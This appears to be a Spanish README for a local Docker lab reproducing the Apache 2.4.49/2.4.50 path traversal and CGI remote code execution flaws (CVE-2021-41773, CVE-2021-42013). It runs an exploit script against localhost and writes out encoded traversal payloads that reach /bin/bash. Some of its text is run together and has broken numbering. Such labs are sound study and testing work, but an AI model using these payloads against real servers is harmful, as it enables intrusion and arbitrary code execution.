
Se encontró una falla en un cambio realizado en la normalización de rutas en Apache HTTP Server 2.4.49. Un atacante podría utilizar un ataque de path traversal para asignar URLs a archivos fuera de los directorios configurados mediante directivas similares a Alias. Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada "require all denied", estas solicitudes pueden tener éxito. Si además los scripts CGI están habilitados para estas rutas aliasadas, esto podría permitir la ejecución remota de código. Se sabe que este problema ha sido explotado activamente. Este problema solo afecta a Apache 2.4.49 y no a versiones anteriores. La corrección en Apache HTTP Server 2.4.50 fue incompleta; consulte CVE-2021-42013.
pip3 install colorama)perl hello-world que se ejecuta en los contenedoresInicie un Apache httpd vulnerable (con la configuración predeterminada) como contenedor docker/podman.
| Dockerfile | Contenedor | Versión |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Contenedor | Puerto de escucha |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 seleccione el ataque para la versión 2.4.49
1.3 python3 main.py localhost:2450
1.4 seleccione el ataque para la versión 2.4.50
El exploit utilizará el módulo CGI de Apache httpd para permitir la ejecución de ejecutables arbitrarios mediante path traversal.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ está codificado en URL y equivale a ../ si se decodifica.
.%%32%658 está doblemente codificado en URL y también equivale a ../ si se decodifica.